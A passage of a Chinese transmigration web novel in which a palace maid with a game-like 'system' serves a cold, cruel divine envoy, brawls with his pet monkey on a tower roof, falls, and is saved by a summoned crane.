忽而,神像后传来一阵叽叽咕咕的尖锐怪响,在空洞幽荡的大殿内格外明显,突然一尊彩云石洞神像后伸出一道棕色影子,鬼头鬼脑探了探,而后如同离弦长箭般在众神间上蹿下跳,绕着经幡飞速攀到顶,灵活的尾巴勾起黄条绳,荡到前面的巨大神像上,在神像的垂眼注视下,顺着巨大肩膀的衣襟呲溜滑到底,“扑通”一声,撒手准确无误的荡到少年柔软的蒲垫上。
一落地,猴大便抱着子桑的衣襟,毛茸茸的脑袋埋在他的膝盖上哇哇痛哭。
子桑原本阖起的双眼抬起,垂眸瞧着被它的眼泪和猴毛弄脏的衣衫眼皮一跳,伸手将它扇到一旁轻声叱喝。
“腌臜东西。”
猴大委屈又讨好的伸出猴爪将他的衣襟掸平,随后又哇哇大叫一声,双手抱圆用力一抡,随即手舞足蹈地指了指胳膊和肚子上的淤青,又用手掐住自己的脖子作假死状吐舌头。
子桑眉梢一挑,有些讶然:“被打了?”
猴大顿时窜起,然后双手比划成两个兔耳放在头顶,撅着肚子扮鬼脸神色嚣张,龇牙咧嘴作恐吓状。
子桑回忆起在鹤羽阁见到的那大兔耳发髻,了然:“被那个丫头打了。”
猴大猛地点头,旋即噘着嘴哇哇大哭泪眼婆娑就要再次抱住子桑的膝盖,却在瞧见子桑轻睨的眼神时身子一僵,委委屈屈立在面前不敢再动。
猴头顶传来一声冷然轻嗤:“打不过旁人还敢来找我,废物。”
猴大的头低得更深了,小声哼哼唧唧不敢再说话。
子桑的声音轻淡,却似乎带着些幸灾乐祸:“自己的仇自己报,莫来烦我。”
有了这句话,原本萎靡的猴大却忽然来了精神,双眼炯炯有神,朝楼顶指了指,阴险又狡猾一笑,旋即像是得了允许般四脚着地朝门口一颠一颠地飞跑而去。
子桑垂眸瞧了眼被猴子攥得微皱的衣摆,伸手理了理,再次阖眸而眠。(没错,他实际在睡觉)
*
赵玉屿离开寝殿后,勤勤恳恳安排好子桑的晚膳和就寝前的相关事宜后,正巧玉石坊派人来传话,说是已经做好了一个玉石样品,请她前去审查。
“这么快就做出来了?”
赵玉屿笑着将手头剩下的事情安排好,便跟随传话的女娥一道去了玉石坊。
一进坊内,打磨玉石的工人就恭敬笑着奉上一个精巧的小盒子:“赵姐姐,您一差人送来样纸,咱们就赶紧赶制了这玉狐狸,您看同您要的是否一样?”
赵玉屿将小盒子打开一瞧,盒子里用红色绒布铺着,一个白玉狐狸安静蹲坐其中打哈欠,双耳及身上用朱砂涂上红色火焰纹路,九条尾巴开扇状环绕身后,惟妙惟俏甚是可爱。
赵玉屿惊喜道:“难为你们这么短时间便做了出来,比我想象得做得还要好,不愧是帝都技术最精湛的手艺人。”
工人一听这话褶子顿时堆了满脸,将眼睛挤成两条细缝,热情熟络道:“赵姐姐喜欢就好!日后姐姐需要什么,尽管跟咱们开口。”
赵玉屿识趣得从袖口掏出一些碎银子:“那就多谢你了,麻烦您尽快
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将剩下的玉狐狸做出来。”
“哎呦这可使不得,怎能让赵姐姐您破费呢?”
见匠人客气,赵玉屿却并不扫兴,将银子塞到他手中爽快道:“本就麻烦了你们,虽说这东西是献给神使大人的,但哪里能白让你们帮忙。放心,日后神使大人若是见这东西有赏也少不了你们的。”
匠人见她如此上道,便也不再推拒,收了银子笑得更是开怀:“哎,好嘞好嘞,赵姐姐您放心,日后您有什么需要咱们做的,必定第一个先给您做好。”
“那就多谢了!”
赵玉屿收下小狐狸,又嘱咐了几句剩下玉石的注意事项便离开了。
出了玉石坊,慢悠悠走在路上,她摸了摸袖口叹了口气,才上任一天,她的银子已经所剩无几。
虽然她如今的身份是内殿侍女,职位其实真按阶排序不算高,但却因着近水楼台,身份特殊,地位却甚高,阖宫上下皆是巴结。
但该打点的还是不能少,总不能旁人奉承几句就不识趣,难免让人背后说闲话。
回房间的路上经过后院,见厨房里灯火通明,窗户上人影匆匆,来来往往,瞧起来很忙碌,赵玉屿好奇走过去,正撞见跑出来的一个神侍。
那神侍见到她眼前顿时一亮,亲热道:“赵姐姐您来了,我刚要去找您呢!”
赵玉屿奇怪地朝屋里望了望:“找我做什么,你们这么晚了怎么还在忙活?”
神侍笑道:“神使大人要用夜宵,让咱们准备些,而且大人特意嘱咐了,待会由您去摘星楼送膳。”
他语气好奇又讨好,“赵姐姐,神使大人似乎很是器重您,我在奉仙宫这么多年,还从未见过神使大人特意让谁去伺候呢!”
让她去送饭菜?
赵玉屿也有些惊讶,转念一想,难不成是子桑对她的手艺比较满意,所以才记住了她的名字?
倒也有可能,毕竟手办达人。
正好可以将新做出的小玉狐狸奉上讨个喜,想来子桑会喜欢,说不定又能刷一波好感度。
她顿时利落应下:“行,那宵夜就交给我吧,我待会给神使送过去。”
*
摘星楼位于诸神殿的正东方向,是奉仙宫乃至整个帝都最高的楼宇,似楼非楼,呈宝塔状层层而上,直通云霄。
传闻摘星楼内星辰寰宇,日月灼华,宇宙乾坤尽在其中,可与三千神明共话。
这是帝都最耀眼的象征,也是人人艳羡的至上宝地。
赵玉屿拎着食盒到了摘星楼下,长风吹拂,耳边叮叮作响,抬头望去,可见层层高楼上六角屋檐金铃摇荡,每层屋檐皆用金漆描边,月光之下,同鲛纱窗户交相映辉,流光溢彩,幻色夺目,窗户中透出暖黄烛光,将整座楼宇点亮。
再其上,隐隐可见一道披着鹤裘的白衣身影坐于楼顶,衣袂翩翩,旁边一只仙鹤卧憩,虽瞧不清面容,但那遗世独立的绰约风姿不用猜也是神使子桑。
那鹤裘还是她早上挑的呢。
美是很美,但赵玉屿此时想得却是:妈的,没事爬那么高干嘛,这么多层楼,她得累死在半路。
8. 第 8 章
果不其然,赵玉屿才爬到一半楼就已经累得直不起来腰。
她虽然精神上依旧□□,但是这副身体着实有些羸弱,大家闺秀平日里都是肩不能扛手不能提的,即便是如赵玉这种自小被流放在庄子上不管的,虽说衣食住行寒碜许多,但到底是个正经小姐,平日里累在成日做针织女红变卖换钱,但一日三餐也不用自己亲自动手,更别说砍柴劈柴这种体力活,都是庄子上的人完成。
只可怜了此时的赵玉屿,拖着一副羸弱的身子爬几十层楼。
呼吸渐渐沉重,双腿灌铅般下坠,手上还要拎着食盒更加费劲,赵玉屿已经累成狗,边爬边不由自主念起:“先帝……创业未半而中道崩殂......啊呸!”
念什么不好念这个。
此句一出,恍若真中道崩殂,一下子泄了气,双腿打软膝盖跪地,赵玉屿索性一屁股坐在台阶上,舒舒服服伸腿揉捏休息会儿。
打工人,打工魂,最需要修炼的,就是摸!鱼!之!道!
反正一时半伙儿这楼顶也上不去,早一点晚一点也没什么区别,这里就她一个人,不会有人知道她偷懒,此时不摸鱼更待何时?!
她顺了顺气,从袖子里拿出漆木盒子打开,里面的小玉狐狸依旧歪头俏皮蹲坐。
这狐狸甚是好看,通体的白玉,尾巴点染上红色墨汁,恍若玉中透出的浓胭脂。
赵玉屿越看越可爱,温润的玉石手感很是舒适,她想了想,又将食盒盖子打开,刚想把小玉狐狸放在食盒里给子桑制造一点小惊喜,忽而一阵黄风“唰”得刮过,再定睛一看,手上的小玉狐狸已经不见踪影。
赵玉屿:“???”发生了咩啊?
身后传来一阵叽叽咕咕的尖锐怪笑,赵玉屿回头望去,就见白天才被她揍过的那只胖猴头正撅着大腚龇牙咧嘴冲她拍屁股,神色很是得意,另一只手上高高扬起,举着她的小玉狐狸。
赵玉屿心中一紧,担心这胖猴子一个不甚将玉石给摔了,连忙爬起身警惕道:“猴哥,你仔细些,这可是给神使大人的供品。”
猴子耀武扬威炫了一阵,手指拨开眼皮做了个鬼脸,将玉狐狸揣在怀里,转身朝楼上飞快颠跳离去。
见玉石被抢走,赵玉屿顿时急了,拎起食盒追上去。
“臭猴子,你居然玩阴的,把狐狸还给我!”
一猴一人绕着楼梯一圈圈打着旋层层上爬,最终还是赵玉屿体力不支,很快便岔了气慢下脚程。
撑着膝盖喘着大气,心脏跳得厉害,赵玉屿实在跑不动,手臂撑着扶手歇息,还未喘口气,就见那已经消失的猴子又从上层的扶手回旋空荡处一跃而下,返回跳在她不远前的楼梯扶手上冲她做鬼脸,还一撅屁股放了一个巨臭的响屁。
“......”
赵玉屿:我靠,这么臭!
士可杀不可辱,她气上心头,捏起鼻子一路追上去,连跑带爬憋着一口劲很快就到了顶层。
一脚踏入顶层楼阁的瞬间,赵玉屿累得头晕眼花,差点被门槛绊倒摔个狗吃屎。
她扶着门框拍了拍胸口,缓了口气抬眼一瞧,顿时愣在原地。
眼前星辰乍现,拱起的圆弧型天顶宛若靛蓝苍穹,荧光粉末泼洒其上如同细碎星辰环带隐隐闪现,苍穹之北,七颗硕大的夜明珠镶嵌其上,光泽莹润,将整个楼阁照如白昼。
楼阁四周是一圈圈高架藏书,将楼阁中间的空地包围住,如同忠诚的战士层层守护。
一只黄色的身影灵活在书架中翻转飞窜,不知按动了何处机关,只听咔嚓一声,苍穹顶部向两侧缓缓打开一个圆口,月光从缺口处流动而入,不大不小正好照射在中间的那块空地上。
咯咯哒哒的声音再次响起,一架狭窄长梯从拐角的偏暗处挪动而出,长梯高处正架在苍穹缺口之处。
猴大抱着小玉狐狸从书架中一跃而出跳上长梯,一蹦一跳拐上楼顶,又冲赵玉屿做了个鬼脸,而后蹿入楼顶的苍穹里消失不见。
赵玉屿见状,连忙攀着长梯而上,爬上了楼顶外。
一出楼阁,眼前顿时开阔,长风呼啸而过犹如捎带寒气的冰片轻轻割过她只着薄衫的皮肤,让她不由打了个冷颤。
楼顶并非皆是斜坡片瓦,而是在斜坡中建了一条狭长的小道,小道虽也有斜度,但比起瓦片还是要好走许多,显然是当初设计时特意留出的一条路。
赵玉屿搓了搓胳膊,拎着饭盒小心翼翼跨出门槛朝一侧走去,都说高处不甚寒,她伸头朝屋顶下眯了一眼,黑洞洞的深不见底,夜风在座座宫殿间游走穿梭的呼啸声宛若鬼哨哀嚎,更添一丝阴森,身上越发凉了。
赵玉屿顿时将脚朝里面挪了挪,贴着斜坡走。虽说她胆子大,又有一条命傍身,但还是有些怕,再说,因为一失足丢掉一条命也太不值了。
等绕了屋檐大半,拐角处,骤然一片莹莹润光的雪白入眼。
一只仙鹤盘卧楼顶,拦在路中间占据了大半屋檐。黑白相间的长羽时不时抖擞舒展,细长弯曲的脖颈低垂在羽翼之间瘙痒,喉咙里不时发出咕咕低声,黑面红顶的瘦长脑袋正顶起一轮清辉,恍若发上王冠。
此时仙鹤正依偎在一旁的少年身上,长颈蹭了蹭少年的脑袋,削长尖嘴叼起少年肩上的一片白羽似乎想为他梳洗。
少年见它弄乱了自己的衣服,伸手捏住它的长喙,将它的脖子推到一边。
仙鹤被推开后显然很受伤,脖子一歪砸在瓦片上装死,见少年不理它,又抬头啄了啄他的衣服后襟,被一巴掌无情扇开后呜咽一声展翅飞离。
少年却并没有理会,他的右手按在酒壶上,一条腿舒展,另一条腿曲直而立踩在砖瓦上,左手正捏着那只小玉狐狸低头细细把玩。
月光勾勒出他的侧脸,朦胧光晕下碎发微扬,他眼眸似雾似水,抬眸瞥来,锋利如刀。
赵玉屿一惊,连忙低头恭敬行了一礼:“神使大人贵安,小女是来送膳的。”
她嘴上毕恭毕敬的请罪,心中却直冒泡犯嘀咕:“虽锋利如刀,却是把绣春刀。”
便是刀人的眼神,也含着一汪桃花春水,融雪山泉。
子桑似有若无的嗯了一声,漫不经心的问道:“这狐狸是你做的?”
见他颇有兴趣,赵玉屿自然不会放过推销自己的机会。她一边将手中的食盒打开,取出其中小桌,布置上干果和糕点碟,一边温顺应道。
“是,小女之前见神使大人怀中神狐甚是可爱,便一时技痒
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,斗胆画了一组小画交由玉石坊制作,这是才做出来的样品。原是想再细细雕琢一番,等所有的款式都做出来后再奉于神使大人的。”
见子桑不说话,赵玉屿接着试探道:“神使大人若不喜欢,小女便让玉石坊不再做了。”
子桑盯着小狐狸,指尖摩挲:“总共做了几个。”
“十二个。”赵玉屿连忙献好,“小女还画了些仙鹤、熊猫、鸡兔猴犬,只是迫于时间尚未画完。若神使大人满意,小女之后一并让玉石坊做了如何?”
“猴?”
听到这个字,子桑似乎轻笑一声,虽未看她,声音却有些玩味,“我还以为你很讨厌猴子。”
赵玉屿面不改色:“猴子古灵精怪,聪慧过人,小女自然喜欢。”
“是吗?”子桑望向她,眼中含笑,似乎是朋友间的不解,“既然如此喜欢,那你今早为何要揍猴大它们。”
猴大不知从何处蹿出来,在子桑说这话时手足舞蹈,冲赵玉屿一顿耀武扬威,甚至伸手拽她的头发。
这臭猴子!
赵玉屿已然了然,必定是这猴子输不起,跑去跟子桑告状了。
不过子桑人美心善,必定不会草菅人命。
但此时猴仗人势,赵玉屿发丝被扯得生疼却不敢揍它,只得捂着发髻垂首解释:“神使大人明鉴,小女并非故意伤害神猴。只是今日去内殿例行检查时,发现可疑行迹的黑影在神殿游走。小女担心是有人要危害神使大人安危,所以便斗胆拿烛台追了上去,又一时受了惊吓,不小心,不小心敲了神猴一下.......还请神使大人赎罪!”
敲?
还挺会用词。
子桑又瞥了眼猴大脑袋上鼓起的那硕大一个包,堪比又长了个头,必定是使了十足的力气,哪里是受到惊吓不小心敲的。
“你虽请罪,但言中所指,一切都是为了我的安危着想,若我怪罪你,是不是觉得不服气。”
见他毫不留情的戳破自己想法,赵玉屿惊异又略带尴尬,心跳如鼓:“小女不敢,只是当时的确是这般想的。不论如何,小女一时惊慌下的确冒犯了神猴,若是神使大人要责罚,也是小女应得,怎敢不服。”
听到这话,子桑第一次正视眼前的少女,然而此时的赵玉屿低着头瞧不清脸,一只手使出吃奶力气拽着发髻,有些狼狈又倔强的抵抗。
夜色深冷,瞧不清她的神色,却也能感受到她此时的窘迫。
子桑微眯起双眼,敢打他的宠物,还能将向来跋扈的猴大它们欺负到他面前哭诉,对他又几次三番主动献技讨好,怎么也不会是一个怯懦的姑娘,如今却装作端庄胆小的模样。
子桑忽然觉得有些意思,他将酒壶放在赵玉屿面前淡淡道。
“再打一次。”
赵玉屿:“?”
她以为自己听错了,惊异地抬头望向子桑。
眼前的少年一只脚踩在瓦片上,手肘压着膝盖,手掌撑住下巴,另一只手,修长的手指指了指她,又指了指正在作怪的猴大,似乎百般无聊:“你们俩再打一次,打赢了我就饶了你。”
他又指了指屋檐外黑如深渊的夜色,声音轻笑如鬼魅:“打不赢,你就从这里跳下去。”
9. 第 9 章
“???”
赵玉屿以为自己听错了,强扯起一道难看的笑容:“神使大人是在说,说笑吗......”
从这里跳下去,死状必定惊天地泣鬼神,极其难看。
子桑略昂起下巴,眉目舒展,也扯起一道轻笑,只是这笑容在寒夜冷月下显得蔑然而凉薄。
“你看,我像是在说笑吗?”
赵玉屿此时大脑宕机,还在子桑残忍冷漠的语调中没有回过神来,未等她想到对策,子桑已经略微歪了歪头,眼中的笑意似乎真诚了些,语气中都带着些兴奋:“游戏开始。”
话音刚落,赵玉屿感到肩膀陡然一阵剧痛传来,她吃痛低头望去,五道尖锐血印赫然深深划破左肩上的衣衫,一时间血肉翻飞,鲜血淋漓。
她捂住伤口还未反应过来,一阵尖锐刺耳的叫声暴起,脖颈一瞬间像是被野鬼压身般巨重无比,强烈的巨大惯性让她朝前扑倒。
锋利的猴爪已经落下疯狂撕扯她的头发,边撕扯边像是在泄愤一般吼叫。
赵玉屿头皮被瞬间勒紧扯出血痕,一搓头发飘然飞去。
她此时大脑一片空白只剩下自救,下意识一手拽紧头发,一手去扯狗皮膏药一样扒在身上的猴子。
猴大双脚却死死攀住她的脖颈不放,见撕扯头发不成,又是一阵尖锐暴起就要去抓花她的脸。
猴爪锋利,若是抓人甚至能将人眼活活掏出。
赵玉屿此时也顾不得什么体面和什么好印象,疼痛和求生的本能让她反手狠狠拧住猴大的屁股,见它还死勒不放,直接一个千年绝杀,猴大菊花一紧,哀嚎一声,吃痛松爪的一瞬间,赵玉屿双手抓住它细长的胳膊猛地一拉,将它从头顶甩出去,动作一气呵成。
猴大重重砸在屋檐上,然而赵玉屿并未脱手,任凭锋利的爪子将她的胳膊划出道道血痕,直接一个飞扑坐到它身上,双膝分开压住它的两只细胳膊,双手左右开弓,噼里啪啦狂扇它一连串大逼斗。
“你个死猴子,敢扯我头发!我有这点头发容易吗我,你还敢扯!我拔光你的猴毛!让你再嚣张!”
实力的悬殊让猴大又想起上午被灯台支配的恐惧,一时被扇懵,但它很快觉醒,脑袋朝赵玉屿猛地顶去,在赵玉屿吃痛之际一个弹跳飞快脱身,却不敢再近她身,而是朝子桑飞窜而去。
动物趋利避害的本能让它下意识想躲在子桑背后,却在看到月光下那双漠然警告的双眼时手脚突然僵住,一时弓着身子,手脚无措,瑟瑟发抖。
眼看不远处因为被拽了一络头发而进化为狂暴状态的赵玉屿就要再度爬起身,猴大双眼一动,抓起眼前的糕点就朝赵玉屿丢去。
啪!
正中面中。
杀伤力不强,侮辱性却极高。
赵玉屿抹了把脸上的糕点,又舔了舔嘴边的碎渣,还挺好吃。
旋即她恶狠狠的瞪了一眼猴大。
猴大吓得一哆嗦,手忙脚乱将眼前碟子里的糕点一股脑砸向她。
赵玉屿左右躲闪,抄起掉落在屋檐上的糕点反投过去,一时之间四爪成影,糕点与碗碟齐飞。
很快弹药就消耗殆尽,猴大见赵玉屿逐渐逼近,忍不住朝后退去,左右张望,惊慌失措下举起仅剩的小桌子“呀——”的尖叫冲上,想学着赵玉屿拿烛台威胁它的模样,然而实力悬殊过大,加上秃头少女的愤怒BUFF。
“我去你大爷的!”
赵玉屿直接伸手一挡,单手反抓住桌子将猴大拍到一边。
猴大直接被一桌子拍飞出去,在屋檐上划过一道完美的抛物线,落在瓦片上滚了几圈后熄了火。
“......”
在一旁观战的子桑眨了眨眼,看着长风猎猎中,衣衫凌乱飘扬满是脏兮兮的糕泥,血迹沾染半个胳膊,满目愤怒的少女,一时也有些语塞。
他倒是也没想到,这丫头如此彪悍。
这一拍让赵玉屿的火气也降了不少,见不远处的猴大鼓着大肚子躺在瓦片上一动不动,一副灵魂出窍归化天地的模样半晌没有动静,她拎着小桌子走上去,戳了戳它。
圆鼓鼓的肚子像皮球一样,弹弹软软,依旧没有动静。
不会吧,难道不小心把小猴子给打死了。
赵玉屿有些慌了神,连忙蹲下身子查看。
这猴子虽然恶劣之极,但她也没想过真把它给打死。她从小到大,连只鸡都没杀过。
更何况这是子桑的猴子,若是真死了可怎么向他交代。
“小猴子?小猴子,你怎么样?”
她想探身去查看猴子是不是被砸到了后脑勺,然而在她靠近的那一刻,原本没了声息的猴子忽然睁开眼,黑鼻红脸面目狰狞如鬼,猴爪在月光下闪现迫人寒光直冲她的双眼而来,俨然一派剜目之势。
赵玉屿心中一惊,下意识伸手挡在脸前,后仰躲闪。
“啊!”
手臂一阵剧痛,这屋顶又是斜坡,她脚下一滑,顿时失去平衡滚落,瓦片在身下发出咔咔脆响,膈得浑身发疼。
但不等她感受疼痛,下一秒,一瞬间的失重让赵玉屿心中骤紧,仅有的理智拼命抓住翘起的檐角。
哗啦啦啦……
身旁传来瓦片掉落的声音,无数的瓦片从她身旁两侧滚落下屋檐。
赵玉屿低头朝下看去,破碎的瓦片如坠鸟般掉落深不见底的黑暗之中,过了一会儿才从朦朦雾气里传来一声声微弱的碎裂在地的回响,犹如地府传来的爆竹声,招呼她赶紧下去开party。
赵玉屿:“......”
她顿时如抓住救命稻草一般双手死死抓住屋檐不松手。
猴大反败为胜,兴奋至极,一时双爪成拳捶胸,昂首嗷嗷高叫,跳到屋檐边冲赵玉屿做了个鬼脸,旋即又怪叫着蹿到子桑的肩膀上低头望向她。
草,这死猴子居然敢使诈!都跟谁学得这狠毒招式!
若她没有挡住脸,必定要毁容,甚至双目失明;如今她虽保住了脸,若不是幸运,也早已摔下楼顶。
赵玉屿恨得牙痒痒,此时却只能竭力吊在半空自救。
她的胳膊本就受了伤,很快就酸痛无力,颤抖着勉强抓住屋檐一角。
头顶惨白的月光似乎被一片漆黑笼罩,她抬头向上望去,屋檐上徐徐露出一道身影。
是子桑站起身子,走到屋檐旁在低头看她。
“神使大人救我......”
看到
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他的一瞬间,赵玉屿眼眸发亮,睁大杏眼望向他,满目祈求。
世界静谧,子桑的羽肩于月色下发出飒飒微响。月光影影绰绰,隔着漂浮的云层在他的月白衣衫上笼罩上一层斑驳的柔光,飘飘然恍若仙鹤独立。
他正垂眸看着,只是眼中并无丝毫怜悯,反而含着一丝愉悦。清朗的五官在夜色中舒展,嘴角扬起一道诡谲笑容。
凛凛寒风中,赵玉屿看着他轻启唇畔,缓缓说出的薄凉三字。
。
“你输了。”
一瞬间,凉月带着寒意钻心入骨,像是雪域高原上永不消逝的寒风,赵玉屿怔怔道:“神使大人......”
脑海中传来尖锐的警报声。
【滴——系统检测到危险,经分析,宿主若坠楼,死亡率达100%,请问宿主是否启用还魂丹。】
赵玉屿没有回答,而是凝望着屋檐上站立的少年,似乎在等待他的答案。
如果他是那个温润善良的子桑,那他一定会救她。
子桑没有回答,也没有朝她伸出手将她从岌岌可危的深渊中拉起。
他就站在那里,一步之遥的距离,却宛若站在高阶之上的神明,漠然俯视着竭力求生的芸芸众生。
屋檐如利剑出锋冷漠地将世界一分为二,屋檐之上是一轮高升圆月笼罩下似云似雾的圣洁之境;屋檐之下,是苦难度日,将一切寄希望于神明保佑的浑浑浊世。
【请问宿主是否启用还魂丹。】
【请问宿主是否启用还魂丹。】
“滴答”
“滴答”
是鲜血顺着早已承受不住痛楚的肩膀如曲折的溪水蜿蜒,滴落,坠入黑暗笼罩的无尽深渊。
最终,赵玉屿垂下眼眸,掩盖住眼底的失望。
【不,不启用。】
【请宿主慎重选择,宿主若坠楼,死亡率达100%,任务失败,宿主将被囚禁无方之地。】
囚禁就囚禁吧,总好比自欺欺人拧巴地活着强。
赵玉屿有些自暴自弃的想着。
眼前的少年,见死不救的少年,毫无怜悯之心的少年。
根本不是她想要去拯救的少年。
回想起付楚袅的突然消失,赵玉屿垂下眼眸,心情复杂。
未见到子桑之前,她还满怀期望,告诉自己即便是猴子们害了付楚袅,但这事子桑不一定知晓。
她想过许许多多的理由替子桑开脱。
必然是他平日里无心凡尘之事,并不知晓付楚袅一事;又或者是被猴大它们给骗了;又或者付楚袅真的犯了错,所以的确被送去了后山,是她自己被猴大耍了。
总之,她想过无数个理由和结果,却始终没有想到,那个她想要呵护和拯救的少年,居然是如此的冷漠和恶劣。
如果他当真是一个视人命如草芥的人,那她拯救他的意义就不在了。
她不想杀死他,却也不想再救他,让他顺着剧情死在结局那场宫变之中,等待下一场的救赎或许是最好的选择。
握住屋檐的手臂因为力气殆尽而颤抖,赵玉屿又抬头看了一眼头顶漠然的少年,松开了手。
耳边,风声呼啸而过,是彻骨的寒。
10. 第 10 章
松开手的那一刻,身如坠月落下。
耳边风声啸啸,像是呜咽凝语。赵玉屿闭上眼睛,等待着意识回归系统。
呼啸扭曲的风声中,似乎影影绰绰有一道悠扬诡谲的曲调传入耳中。赵玉屿感到整个人一沉,旋即身轻如燕,恍若飞升。
是死后灵魂出窍了吗?
原来人死后是这种飘然之感,一点都不疼。
她这样想着,缓缓睁开双眼,旋即愣住了。
一轮昭昭银月显于眼前,朦胧柔和的光芒挥洒而下,顺着屋檐流淌入帝都城中的千家万户。屋中透出的点点烛火宛若星河银带,与孤冷明月交相辉映。
她的掌下柔软,是羽毛随风扫过皮肤的细痒触感。
鹤唳嘹亮,巨大的羽翼在夜空中舒展,白色的羽毛反射着皎皎月色似有流光环绕,又如昼星划破长空。
是......仙鹤。
赵玉屿此时坐在仙鹤宽阔的背脊上,随着每一次羽翼的挥动,她都能感受到身下背脊的起伏。
她低头朝下望去,漫漫黑夜中,摘星楼顶的白衣少年格外扎眼。
他的衣袂在长风中翩然而起,修长的手指捏着一支长笛抵在唇边。
悠扬的曲调从长笛中倾泻流出,仙鹤犹如获得神引,亢奋地嘹亮高唳着,载着赵玉屿围绕摘星楼顶盘旋。
不知是笛声还是仙鹤的叫声让原本应安然入睡的鹤群骤然惊醒。
苍穹之上,鹤群似银带跃然飞来,如雏鸟归巢,跟随着仙鹤在夜空首尾盘旋,齐齐高鸣。巨大圆月下,似是某种玄虚神秘的朝圣礼。
是子桑,是他救了自己。
赵玉屿看着屋檐之上的那道身影,心中跃然涌起一股莫名的情愫,欢喜、欣慰、惊讶,还有劫后余生的庆幸,掺杂在一起化为流星穿透了她的胸膛。
神使子桑,即便性格迥异而恶劣,但他的底色依旧明亮。
赵玉屿扬起嘴角,再次闭上双眼,张开双臂,任凭夜风吹过她的发梢、衣袖和长裙,拥抱月亮。
摘星楼上,猴大在笛声的刺激下也亢奋不已,围着子桑上蹿下跳连声怪叫,却又有些委屈的指了指自己头上的包,再指了指赵玉屿叫屈。
子桑放下长笛,睨了它一眼。
猴大顿时缩了缩头不敢再吱声,然而子桑却在它的眼神中看懂了困惑。
为什么要救她?
子桑抬眼瞥向鹤背上兴奋的少女,指尖摩挲着手中的小狐狸,温润软玉的触感极好。
难得遇到个合心意的手艺人,死了可惜了。
等她哪一日做不出有趣的东西,再杀也不迟。
*
回到房中,赵玉屿扑倒在柔软的床铺中久久难眠。
一闭上眼睛,眼前浮现地尽是方才在摘星楼的场景。
飞天追月,仙鹤环绕,像是梦一般。
谁能想到有一天,她居然驾鹤而飞。
而子桑居然真的有驭兽之能。
虽然这是原著小说的设定,可文字的呈现到底只停留在浅显的想象之中,现实中看到的巨大冲击力还是让她震撼不已。
尤其是在那种生死攸关的时刻。
一瞬地狱,一瞬天堂。
【提示,攻略对象好感度降低5%,目前好感度10%。】
脑海中传来系统的警报声,赵玉屿猛地睁开双眼,挺身而起。
什么情况?
方才子桑明明救了我,可是好感值却下降了?
赵玉屿百思不得其解:系统,能知道好感度下降原因吗?
【对不起宿主,系统不能检测攻略对象内心所想。】
好吧。
赵玉屿叹了口气,盘腿而坐,复盘今晚发生的事情。
子桑点名让她亲自去摘星楼送宵夜,猴子突然出现抢走了她的玉狐狸交给子桑。
子桑让她和猴子互殴,她把猴子狂揍一顿后不小心掉下屋顶。
子桑施展驭鹤之术救了她。
赵玉屿突然意识到问题所在。
那只猴子。
都说猴子心眼小,睚眦必报,瞧那猴子对子桑的谄媚腻歪样,一定是它向子桑告状,所以子桑才会点名让她去摘星楼。
毕竟是子桑养的宠物,他又正值少年心性,想替猴子出口气也是理所当然,所以才吓唬她让她同猴子打一架,输了就从屋顶跳下去。
按照常理,有子桑在,她一个小侍女并不敢动真格,正好让猴子出了气事情就结束,结果没想到她意外摔下屋顶。
完全说得通!
赵玉屿思忖着,子桑救了她,之后也并没有怪罪她,可她离开之后却好感度下降了,难道是那猴子又打小报告了?还是她揍猴子的时候太过暴躁凶残,吓到子桑了?
赵玉屿越想越觉得有道理,势必要挽回自己在子桑心目中的形象。
说干就干,她顿时穿好衣服,磨墨奋笔。
*
“哈~~~”
“赵姐姐,你这是怎么了,哈欠连天的,昨晚没睡好吗?”
庭院洒扫的神侍殷勤问道。
赵玉屿困倦道:“昨晚睡得太晚了,没睡好,又累又困的。”
那神侍听到这话,眼中顿时涌现出异样和暧昧。
昨晚赵玉屿在摘星楼上乘鹤而飞的场景,不少值夜班的人都瞧见了,今日一早早已传开,引得人人猜测。
神使大人向来孤冷,神侍们平日里小心伺候,一言不悦便要吃罚,除了李嬷嬷能同神使大人亲近些,其他人都是言行恭敬,不敢有丝毫差错。
可昨日早晨赵玉屿被神使大人唤进内殿却能安然无恙的出来,晚上又被点名叫去摘星楼送夜宵,神使大人还施展驭鹤之术让她乘坐仙鹤游玩,这明显不是对寻常神侍的态度。
众人在背后难免议论纷纷。
“肯定是神使大人瞧上她了呗。当初选内殿侍女,她可是神使大人亲自挑选的。”
“那也不一定啊,先前那付姑娘不也是神使大人亲自挑选的,结果不到一天人就没了。”
“可能是伺候的不满意?”
八卦的人群瞪大眼睛:“你是说......这赵姑娘和神使大人已经......”
那人信誓旦旦:“我看啊,八、九不离十!”
“若真是这样,咱们日后见了这赵姑娘可得更尊重些。”
《论谣言是如何产生的》
不过这些议论赵玉屿自然不知道,她昨天晚上画了一整晚的稿子,今日一早就让人送去制作,此时困得很,还得强撑着耷拉的眼皮去等待子桑梳洗。
子桑这小祖宗日子过得着实比皇帝还快活,皇帝还要每日晨起上早朝,他是每日睡到自然醒,还要再补个美人觉。
赵玉屿神色恍惚,在大殿外迷迷糊糊候了一个多时辰,才听到里面的撞铃声。
子桑休息和沐浴时不喜有人在侧,沐浴时也都是猴大他们伺候在身旁,等泡完澡了才唤人进来梳妆。
昨日有李嬷嬷在,赵玉屿并未随众人入门。<
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今日李嬷嬷不在,众人又私下揣测出她和子桑的“暧昧私情”,自然唯她马首是瞻,不敢越界,低首跟在赵玉屿身后不动。
他们不动,总不能让子桑光着屁股自己出来取衣服。
赵玉屿见状便领着众人推门而入,循规捧起衣物,撩开珠帘进入内殿,隔着屏风低头将衣服呈上。
原以为是要他们为子桑擦身穿衣,没想到内殿屏风后跳出来一只猴子,赫然是猴大。
猴大原本趾高气扬一跃蹿到众人面前,然而瞧见赵玉屿的那一刻吓得脚底一滑摔了个底朝天,但旋即从地上爬起,朝赵玉屿做了个虚张声势的狰狞鬼脸后,捧起衣服一蹦一跳朝屏风后跑去。
这臭猴子,真是死性不改。
赵玉屿撇了撇嘴,此时困得也懒得跟它计较。只想赶紧走人,准备完早膳后回去补个回笼觉。
正待众人离开,雾气朦胧的屏风后传来一道惫懒吩咐。
“你留下。”
赵玉屿一愣,见其他人此时已经默然垂首离开,应该是在唤她。
迈出的脚不得已收回,赵玉屿恭敬的候在屏风外,等子桑穿好衣裳出来,施施然坐在梳妆台前的椅子上才听命走上前梳妆。
她自然知晓子桑留她下来是做什么,昨晚她熬夜画了不少服饰草图,差人去打造首饰衣物,就是为了给子桑做妆造,毕竟这也是子桑对她增加好感的主要原因,自然要发挥到极致。
